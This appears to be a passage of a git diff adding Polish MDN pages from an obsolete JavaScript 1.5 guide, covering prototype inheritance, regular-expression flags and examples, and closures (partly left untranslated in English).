+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html
new file mode 100644
index 0000000000..8287857c63
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html
@@ -0,0 +1,33 @@
+---
+title: Dziedziczenie własności
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Dziedziczenie_w.C5.82asno.C5.9Bci" name="Dziedziczenie_w.C5.82asno.C5.9Bci">Dziedziczenie własności</h3>
+<p>Przypuśćmy, że utworzyłeś obiekt marek jako <code>Robotnik</code>, tak jak pokazano na <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Tworzenie_hierarchii">Rysunku 8.3</a>, za pomocą poniższej instrukcji:</p>
+<pre class="eval">marek = new Robotnik;
+</pre>
+<p>Gdy JavaScript napotyka na operator new, tworzy nowy ogólny obiekt i przekazuje go jako wartość słowa kluczowego <code>this</code> funkcji konstruktora Robotnik. Funkcja konstruktora bezpośrednio nadaje wartość własności <code>projekty</code> i bezwzględnie ustala wartość wewnętrznej własności <code>__proto__</code> jako <code>Robotnik.prototype</code> (ta nazwa własności posiada dwa znaki podkreślenia na początku i dwa na końcu). Własność <code>__proto__</code> decyduje o łańcuchu prototypu używanym do zwracania wartości własności. Gdy tylko własności te są ustalone, JavaScript zwraca nowy obiekt, a instrukcja przypisania przypisuje zmienną marek do tego obiektu.</p>
+<p>Proces ten nie umieszcza wartości bezpośrednio w obiekcie <code>marek</code> (wartości
+ <i>
+ lokalne</i>
+ ) dla własności, które <code>marek</code> dziedziczy z łańcucha prototypu. Gdy pytasz o wartość własności, JavaScript najpierw sprawdza czy wartość istnieje w tym obiekcie. Jeśli tak, zwraca tę wartość. Jeśli wartość nie istnieje tam lokalnie, JavaScript sprawdza łańcuch prototypu (używając własności <code>__proto__</code>). Jeśli obiekt w łańcuchu prototypu posiada wartość tej własności, jest ona zwracana. Jeśli własność nie zostanie znaleziona, JavaScript zgłasza, że obiekt nie posiada własności. W tym przypadku obiekt <code>mark</code> posiada następujące własności i wartości:</p>
+<pre class="eval">marek.imie = "";
+marek.dept = "ogólny";
+marek.projekty = [];
+</pre>
+<p>Obiekt <code>mark</code> dziedziczy wartości własności imie i dept z obiektu prototypowego w <code>mark.__proto__</code>. Ma on również przypisaną przez konstruktor Robotnik wartość własności projekty. Dzięki temu otrzymujesz dziedziczenie własności i ich wartości w JavaScripcie. Niektóre subtelności tego procesu zostały przedyskutowane w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82asno%c5%9bci">Powrót dziedziczenia własności</a>.</p>
+<p>Ponieważ konstruktory te nie pozwalają na dostarczenie wartości specyficznych dla instancji, informacje te są ogólne. Wartościami własności są te domyślnie dzielone przez wszystkie nowe obiekty utworzone z Robotnik. Możesz oczywiście zmienić wartości dowolnej z tych własności. Mógłbyś podać określone informacje dla <code>marek</code> tak jak pokazano poniżej:</p>
+<pre class="eval">marek.imie = "Doe, Marek";
+marek.dept = "administrator";
+marek.projekty = ["navigator"];
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dodawanie własności") }}</p>
+</div>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html
new file mode 100644
index 0000000000..85957fa7fc
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html
@@ -0,0 +1,19 @@
+---
+title: Własności obiektu
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="W.C5.82asno.C5.9Bci_obiektu" name="W.C5.82asno.C5.9Bci_obiektu">Własności obiektu</h3>
+<p>Ten artykuł omawia jak obiekty dziedziczą własności z innych obiektów w łańcuchu prototypu i co się stanie, gdy dodasz własność w momencie uruchomienia.</p>
+<ul>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82asno%c5%9bci_obiektu/Dziedziczenie_w%c5%82asno%c5%9bci">Dziedziczenie własności</a></li>
+ <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dodawanie_w%c5%82a%c5%9bciwo%c5%9bci">Dodawanie własności</a></li>
+</ul>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Tworzenie hierarchii", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności") }}</p>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html
new file mode 100644
index 0000000000..a566755689
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html
@@ -0,0 +1,49 @@
+---
+title: 'Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście'
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<p>
+</p>
+<h3 id="Zaawansowane_wyszukiwanie_za_pomoc.C4.85_flag" name="Zaawansowane_wyszukiwanie_za_pomoc.C4.85_flag"> Zaawansowane wyszukiwanie za pomocą flag </h3>
+<p>Wyrażenia regularne posiadają cztery opcjonalne flagi, które pozwalają na globalne i niezależne od wielkości znaków wyszukiwanie. Aby wskazać wyszukiwanie globalne, użyj flagi <code>g</code>. Aby wskazać wyszukiwanie nieczułe na wielkość znaków, użyj flagi <code>i</code>. Aby wskazać wyszukiwanie wieloliniowe, użyj flagi <code>m</code>. Aby przeprowadzić "lepkie" wyszukiwanie, które pasuje do początku obecnej pozycji w łańcuchu docelowym, użyj flagi <code>y</code>. Flagi te mogą być użyte oddzielnie lub razem w dowolnej kolejności i są dołączane jako część wyrażenia regularnego.
+</p><p>{{ Fx_minversion_note(3, "Obsługa flagi <code>y</code> została dodana w Firefoksie 3. Użycie flagi <code>y</code> skutkuje niepowodzeniem, jeśli wynik nie następuje po aktualnej pozycji w łańcuchu docelowym.") }}
+</p><p>Aby dołączyć flagę do wyrażenia regularnego, użyj składni:
+</p>
+<pre>re = /pattern/flags
+re = new RegExp("pattern", ["flags"])
+</pre>
+<p>Zauważ że flagi są integralną częścią wyrażenia regularnego. Nie mogą być one dodane lub usunięte później.
+</p><p>Na przykład, <code>re = /\w+\s/g</code> tworzy wyrażenie regularne, które szuka jednego lub więcej znaków, po których następuje spacja, szukając tej kombinacji w całym łańcuchu znaków.
+</p>
+<pre>&lt;script type="text/javascript"&gt;
+ re = /\w+\s/g;
+ str = "fee fi fo fum";
+ myArray = str.match(re);
+ document.write(myArray);
+&lt;/script&gt;
+</pre>
+<p>To wyświetli {{ mediawiki.external('\"fee \", \"fi \", \"fo \"') }}. W tym przykładzie możesz zamienić linię:
+</p>
+<pre>re = /\w+\s/g;
+</pre>
+<p>z:
+</p>
+<pre>re = new RegExp("\\w+\\s", "g");
+</pre>
+<p>otrzymując ten sam rezultat.
+</p><p>Flaga <code>m</code> jest używana do określenia, że wieloliniowy łańcuch wejściowy powinien być traktowany jako wiele linii. Jeśli użyta jest flaga <code>m</code>, ^ i $ odpowiadają za początek lub koniec z każdej linii w wejściowym łańcuchu znaków zamiast początku i końca całego łańcucha.
+</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Użycie odpowiedniego znaku", "Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Przykłady wyrażeń regularnych") }}
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div></div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil\u00ednea", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Ex\u00e9cution_de_recherches_globales,_ignorer_la_casse,_utilisation_de_cha\u00eenes_multilignes", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html
new file mode 100644
index 0000000000..f615d23035
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html
@@ -0,0 +1,122 @@
+---
+title: Przykłady wyrażeń regularnych
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<p>Poniższe przykłady prezentują niektóre użycia wyrażeń regularnych.</p>
+<h4 id="Zmiana_kolejno.C5.9Bci_w_.C5.82a.C5.84cuchu_znak.C3.B3w_wej.C5.9Bcia" name="Zmiana_kolejno.C5.9Bci_w_.C5.82a.C5.84cuchu_znak.C3.B3w_wej.C5.9Bcia">Zmiana kolejności w łańcuchu znaków wejścia</h4>
+<p>Następujący przykład ilustruje tworzenie wyrażeń regularnych i użycie <code>string.split()</code> i <code>string.replace()</code>. Czyści on bezwzględnie wejściowy łańcuch znaków zawierający imiona (pierwsze imię jest pierwsze) oddzielone odstępem, tabulatorem i dokładnie jednym średnikiem. Na koniec odwraca on kolejność imion (ostatnie imię jest pierwsze) i sortuje listę.</p>
+<pre>&lt;script type="text/javascript"&gt;
+
+// Łańcuch znaków z imionami zawiera wiele spacji i tabulatorów,
+// może również zawierać wiele spacji pomiędzy pierwszym a ostatnim imieniem.
+var imiona = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = new Array(
+ "---------- Oryginalny łańcuch znaków&lt;br&gt;&lt;br&gt;",
+ imiona + "&lt;br&gt;&lt;br&gt;");
+
+// Przygotuj dwa wzorce wyrażeń regularnych i tablicę do przechowywania.
+// Podziel łańcuch na elementy tablicy.
+
+// wzorzec: możliwe białe znaki, następnie średnik, potem znów możliwe białe
+var wzor = /\s*;\s*/;
+
+// Rozbij łańcuch znaków na części oddzielone przez powyższy wzorzec
+// i przechowaj je w tablicy o nazwie listaImion
+var listaImion = imiona.split(wzor);
+
+// Nowy wzorzec: jeden lub więcej znaków, następnie spacje, następnie znów znaki.
+// Użyj nawiasów, by "zapamiętać" porcje wzorca.
+// Zapamiętane porcje przydadzą się później.
+var wzor = /(\w+)\s+(\w+)/;
+
+// Nowa tablica do przechowywania przetwarzanych imion.
+var ListaWgNazwisk = new Array();
+
+// Wyświetl nazwę tablicy i wypełnij nową tablicę
+// imionami oddzielonymi za pomocą przecinka, zaczynając od ostatniego.
+//
+// Metoda "zamien" usuwa wszystko pasujące do wzorca
+// i zamienia to z zapamiętanymi porcjami.
+//
+// Zmienne $1 i $2 odwołują się do zapamiętanych porcji
+// podczas porównywania wzorca.
+
+output.push("---------- Po rozdzieleniu przez wyrażenie regularne&lt;BR&gt;");
+
+var i, len;
+for (i = 0, len = listaImion.length; i &lt; len; i++)
+{
+ output.push(nameList[i] + "&lt;br&gt;");
+ ListaWgNazwisk[i] = listaImion[i].replace(wzor, "$2, $1")
+}
+
+// Wyświetl nową tablicę.
+output.push("---------- Odwrócone imiona&lt;br&gt;");
+for (i = 0, len = ListaWgNazwisk.length; i &lt; len; i++)
+{
+ output.push(ListaWgNazwisk[i] + "&lt;br&gt;")
+}
+
+// Sortuj według ostatniego imienia, następnie wyświetl posortowaną tablicę.
+ListaWgNazwisk.sort();
+output.push("---------- Posortowano&lt;br&gt;");
+for (i = 0, len = ListaWgNazwisk.length; i &lt; len; i++)
+{
+ output.push(ListaWgNazwisk[i] + "&lt;br&gt;")
+}
+
+output.push("---------- Koniec&lt;br&gt;");
+
+document.write(output.join("\n"));
+
+&lt;/script&gt;
+</pre>
+<h4 id="U.C5.BCywanie_specjalnych_znak.C3.B3w_do_sprawdzenia_wej.C5.9Bcia" name="U.C5.BCywanie_specjalnych_znak.C3.B3w_do_sprawdzenia_wej.C5.9Bcia">Używanie specjalnych znaków do sprawdzenia wejścia</h4>
+<p>W następującym przykładzie, użytkownik wprowadza numer telefonu. Gdy użytkownik naciśnie klawisz Enter, skrypt sprawdzi poprawność numeru. Jeśli numer jest poprawny (pasuje do sekwencji znaków określonej przez wyrażenie regularne), skrypt wywoła okno z podziękowaniem użytkownikowi i zatwierdza numer. Jeśli numer nie jest poprawny, skrypt wywoła okno informacji o nieprawidłowym numerze telefonu.</p>
+<p>Wyrażenie regularne szuka zera lub jednego nawiasu otwartego \(?, po którym następują trzy cyfry \d{3}, następnie znów zero lub jeden nawias zamknięty \)?, potem jednego myślnika, ukośnika lub znaku dziesiętnego, a gdy je znajdzie zapamiętuje znaki (<code>-\\/\\.</code>), następujące po nich trzy cyfry i ciąg składający się z myślnika, ukośnika lub znaku dziesiętnego \1 i następujących potem czterech cyfr \d{4}.</p>
+<p>Zdarzenie <code>Change</code> zostaje aktywowane, kiedy użytkownik naciśnie klawisz Enter ustawiając wartość <code>RegExp.input</code>.</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+ "http://www.w3.org/TR/html4/loose.dtd"&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2"&gt;
+ &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+ &lt;script type="text/javascript"&gt;
+ var re = /\(?\d{3}\)?([-\/\.])\d{3}\1\d{4}/;
+
+ function testInfo(phoneInput)
+ {
+ var OK = re.exec(phoneInput.value);
+
+ if (!OK)
+ {
+ window.alert(RegExp.input + " nie jest wprowadzony numerem kierunkowy!");
+ }
+ else
+ {
+ window.alert("Dziękuję, Twój numer telefonu to " + OK[0]);
+ }
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+
+ &lt;body&gt;
+ &lt;p&gt;Wprowadź numer telefonu (z numerem kierunkowym), a następnie naciśnij klawisz Enter.&lt;/p&gt;
+ &lt;form action=""&gt;
+ &lt;input name="phone" onchange="testInfo(this);"&gt;
+ &lt;/form&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście", "Przewodnik po języku JavaScript 1.5:Blok instrukcji") }}</p>
+</div>
+<p> </p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html
new file mode 100644
index 0000000000..fc71b64cad
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_zamknięciami/index.html
@@ -0,0 +1,286 @@
+---
+title: Praca z zamknięciami
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_zamknięciami
+---
+<h3 id="Praca_z_zamknięciami" name="Praca_z_zamknięciami">Praca z zamknięciami</h3>
+
+<p>Zamknięcia są często uważane za zaawansowaną właściwość JavaScript, ale zrozumienie ich jest niezbędne do opanowania tego języka.</p>
+
+<p>Rozważmy następującą funkcję:</p>
+
+<pre class="brush: js">function init() {
+ var name = "Mozilla";
+ function displayName() {
+ alert(name);
+ }
+ displayName();
+}
+</pre>
+
+<p>Funkcja <code>init()</code> tworzy lokalną zmienną o nazwie <code>name</code>, i następnie definiuje funkcję nazwaną <code>displayName()</code>. <code>displayName()</code> jest wewnętrzną funkcją - jest zdefiniowana wewnątrz funkcji <code>init()</code>, i jest dostępna jedynie w zasięgu ciała tej funkcji. <code>displayName()</code> nie posiada własnych lokalnych zmiennych, ale używa zmiennej <code>name</code> zadeklarowanej w funkcji zewnętrznej.</p>
+
+<p>Działa to całkiem nieźle - spróbujmy wykonać kod, aby zobaczyć co się stanie. To jest przykład <em>leksykalnego zasięgu</em>: w JavaScript, zasięg zmiennej jest zdefiniowany przez jej położenie w kodzie źródłowym, i zagnieżdżone funkcje mają dostęp do zmiennych zadeklarowanych w ich zewnętrznym obszarze.</p>
+
+<p>Teraz rozważmy następny przykład:</p>
+
+<pre class="brush: js">function makeFunc() {
+ var name = "Mozilla";
+ function displayName() {
+ alert(name);
+ }
+ return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+
+<p>Po wykonaniu kodu otrzymamy identyczny efekt jak poprzedni przykład z funkcją <code>init()</code>: łańcuch "Mozilla" zostanie wyświetlony w oknie alertowym JavaScript. Jaka jest różnica - i co ciekawsze - Czy wewnętrzna funkcja <code>displayName()</code> została zwrócona z zewnętrznej funkcji zanim została wykonana?</p>
+
+<p>Kod działa, lecz może się on wydawać nieintuicyjny. Normalnie, lokalne zmienne wewnątrz funkcji istnieją tylko podczas jej wykonywania. Kiedy <code>makeFunc()</code> została wykonana, spodziewamy się - i ma to sens - że zmienna <code>name</code> nie będzie więcej potrzebna. Skoro kod wykonuje oczekiwaną pracę, oczywiście nie ma mowy o przypadku.</p>
+
+<p>Rozwiązaniem tej zagadki jest fakt, że funkcja <code>myFunc</code> zostaje <em>zamknięciem</em>. Zamknięcie jest specjalnym rodzajem obiektu, który łączy dwie rzeczy: funkcję i środowisko, w którym ta funkcja została utworzona. The environment consists of any local variables that were in-scope at the time that the closure was created. In this case, <code>myFunc</code> is a closure that incorporates both the <code>displayName</code> function and the "Mozilla" string that existed when the closure was created.</p>
+
+<p>Here's a slightly more interesting example - a <code>makeAdder</code> function:</p>
+
+<pre class="brush: js">function makeAdder(x) {
+ return function(y) {
+ return x + y;
+ };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+print(add5(2)); // 7
+print(add10(2)); // 12
+</pre>
+
+<p>In this example, we have defined a function <code>makeAdder(x)</code> which takes a single argument <code>x</code> and returns a new function. The function it returns takes a single argument <code>y</code>, and returns the sum of <code>x</code> and <code>y</code>.</p>
+
+<p>In essence, <code>makeAdder</code> is a function factory - it creates functions which can add a specific value to their argument. In the above example we use our function factory to create two new functions - one that adds 5 to its argument, and one that adds 10.</p>
+
+<p><code>add5</code> and <code>add10</code> are both closures. They share the same function body definition, but store different environments. In <code>add5</code>'s environment, <code>x</code> is 5. As far as <code>add10</code> is concerned, <code>x</code> is 10.</p>
+
+<h4 id="Praktyczne_zamknięcia" name="Praktyczne_zamknięcia">Praktyczne zamknięcia</h4>
+
+<p>That's the theory out of the way - but are closures actually useful? Let's consider their practical implications. A closure lets you associate some data (the environment) with a function that operates on that data. This has obvious parallels to object oriented programming, where objects allow us to associate some data (the object's properties) with one or more methods.</p>
+
+<p>Consequently, you can use a closure anywhere that you might normally use an object with only a single method.</p>
+
+<p>Situations where you might want to do this are particularly common on the web. Much of the code we write in web JavaScript is event-based - we define some behavior, then attach it to an event that is triggered by the user (such as a click or a keypress). Our code is generally attached as a callback: a single function which is executed in response to the event.</p>
+
+<p>Here's a practical example: suppose we wish to add to a page buttons that adjust the size of the page text. One way of doing this is to specify the font-size of the body element in pixels, then set the size of the other elements on the page (such as headers) using the relative em unit:</p>
+
+<pre class="brush: css">body {
+ font-family: Helvetica, Aria, sans-serif;
+ font-size: 12px;
+}
+
+h1 {
+ font-size: 1.5em;
+}
+h2 {
+ font-size: 1.2em;
+}
+</pre>
+
+<p>Our interactive text size buttons can change the font-size property of the body element, and the adjustments will be picked up by other elements on the page thanks to the relative units.</p>
+
+<p>Here's the JavaScript:</p>
+
+<pre class="brush: js">function makeSizer(size) {
+ return function() {
+ document.body.style.fontSize = size + 'px';
+ };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>, <code>size14</code> and <code>size16</code> are now functions which will resize the body text to 12, 14, and 16 pixels, respectively. We can attach them to buttons (in this case links) as follows:</p>
+
+<pre class="brush: js">function setupButtons() {
+ document.getElementById('size-12').onclick = size12;
+ document.getElementById('size-14').onclick = size14;
+ document.getElementById('size-16').onclick = size16;
+}</pre>
+
+<pre class="brush: html">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<h4 id="Emulating_private_methods_with_closures" name="Emulating_private_methods_with_closures">Emulating private methods with closures</h4>
+
+<p>Languages such as Java provide the ability to declare methods private, meaning that they can only be called by other methods in the same class.</p>
+
+<p>JavaScript does not provide a native way of doing this, but it is possible to emulate private methods using closures. Private methods aren't just useful for restricting access to code: they also provide a powerful way of managing your global namespace, keeping non-essential methods from cluttering up the public interface to your code.</p>
+
+<p>Here's how to define some public functions that can access private functions and variables, using closures:</p>
+
+<pre class="brush: js">var Counter = (function() {
+ var privateCounter = 0;
+ function changeBy(val) {
+ privateCounter += val;
+ }
+ return {
+ increment: function() {
+ changeBy(1);
+ },
+ decrement: function() {
+ changeBy(-1);
+ },
+ value: function() {
+ return privateCounter;
+ }
+ }
+})();
+
+alert(Counter.value()); /* Alerts 0 */
+Counter.increment();
+Counter.increment();
+alert(Counter.value()); /* Alerts 2 */
+Counter.decrement();
+alert(Counter.value()); /* Alerts 1 */
+</pre>
+
+<p>There's a lot going on here. In previous examples each closure has had its own environment; here we create a single environment which is shared by three functions: <code>Counter.increment</code>, <code>Counter.decrement</code> and <code>Counter.value</code>.</p>
+
+<p>The shared environment is created in the body of an anonymous function, which is executed as soon as it has been defined. The environment contains two private items: a variable called <code>privateCounter</code> and a function called <code>changeBy</code>. Neither of these private items can be accessed directly from outside the anonymous function. Instead, they must be accessed by the three public functions that are returned from the anonymous wrapper.</p>
+
+<p>Those three public functions are closures that share the same environment. Thanks to JavaScript's lexical scoping, they each have access to the <code>privateCounter</code> variable and <code>changeBy</code> function.</p>
+
+<p>Using closures in this way provides a number of benefits that are normally associated with object oriented programming, in particular data hiding and encapsulation.</p>
+
+<h4 id="Creating_closures_in_loops:_A_common_mistake" name="Creating_closures_in_loops:_A_common_mistake">Creating closures in loops: A common mistake</h4>
+
+<p>Prior to the introduction of the <code>let</code> keyword in JavaScript 1.7, a common problem with closures occurred when they were created inside a loop. Consider the following example:</p>
+
+<pre class="brush: html">&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js">function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+}
+</pre>
+
+<p>The <code>helpText</code> array defines three helpful hints, each associated with the ID of an input field in the document. The loop cycles through these definitions, hooking up an onfocus event to each one that shows the associated help method.</p>
+
+<p>If you try this code out, you'll see that it doesn't work as expected. No matter what field you focus on, the message about your age will be displayed.</p>
+
+<p>The reason for this is that the functions assigned to onfocus are closures; they consist of the function definition and the captured environment from the <code>setupHelp</code> function's scope. Three closures have been created, but each one shares the same single environment. By the time the onfocus callbacks are executed, the loop has run its course and the item variable (shared by all three closures) has been left pointing to the last entry in the <code>helpText</code> list.</p>
+
+<p>One solution in this case is to use more closures: in particular, to use a function factory as described earlier on:</p>
+
+<pre class="brush: js">function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+ return function() {
+ showHelp(help);
+ };
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+ }
+}
+</pre>
+
+<p>This works as expected. Rather than the callbacks all sharing a single environment, the <code>makeHelpCallback</code> function creates a new environment for each one in which <code>help</code> refers to the corresponding string from the <code>helpText</code> array.</p>
+
+<p>If you are using JavaScript 1.7 or higher, you can solve this problem by using the <code>let</code> keyword to create a variable that has block level scope:</p>
+
+<pre class="brush: js"> for (var i = 0; i &lt; helpText.length; i++) {
+ let item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+</pre>
+
+<p>The <code>let</code> keyword causes the item variable to be created with block level scope, causing a new reference to be created for each iteration of the for loop. This means that a separate variable is captured for each closure, solving the problem caused by the shared environment.</p>
+
+<h4 id="Performance_considerations" name="Performance_considerations">Performance considerations</h4>
+
+<p>It is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task as it will negatively affect script performance.</p>
+
+<p>For instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. The reason is that whenever the constructor is called the methods would get reassigned (that is, for every object creation).</p>
+
+<p>Consider the following impractical but demonstrative case:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+ this.name = String(name);
+ this.message = String(message);
+ this.getName = function() {
+ return this.name;
+ };
+
+ this.getMessage = function() {
+ return this.message;
+ };
+}
+</pre>
+
+<p>The previous code does not take advantage of the benefits of closures and thus should instead be formulated:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+ this.name = String(name);
+ this.message = String(message);
+}
+MyObject.prototype = {
+ getName: function() {
+ return this.name;
+ },
+ getMessage: function() {
+ return this.message;
+ }
+};
+</pre>
+
+<p>Or as follows:</p>
+
+<pre class="brush: js">function MyObject(name, message) {
+ this.name = String(name);
+ this.message = String(message);
+}
+MyObject.prototype.getName = function() {
+ return this.name;
+};
+MyObject.prototype.getMessage = function() {
+ return this.message;
+};
+</pre>
+
+<p>In the two previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See <a href="/en/Core_JavaScript_1.5_Guide#Details_of_the_Object_Model" title="en/Core_JavaScript_1.5_Guide#Details_of_the_Object_Model">Core_JavaScript_1.5_Guide#Details_of_the_Object_Model</a> for more details.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html
new file mode 100644
index 0000000000..4fbd013295
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/stałe/index.html
@@ -0,0 +1,29 @@
+---
+title: Stałe
+slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Stałe
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
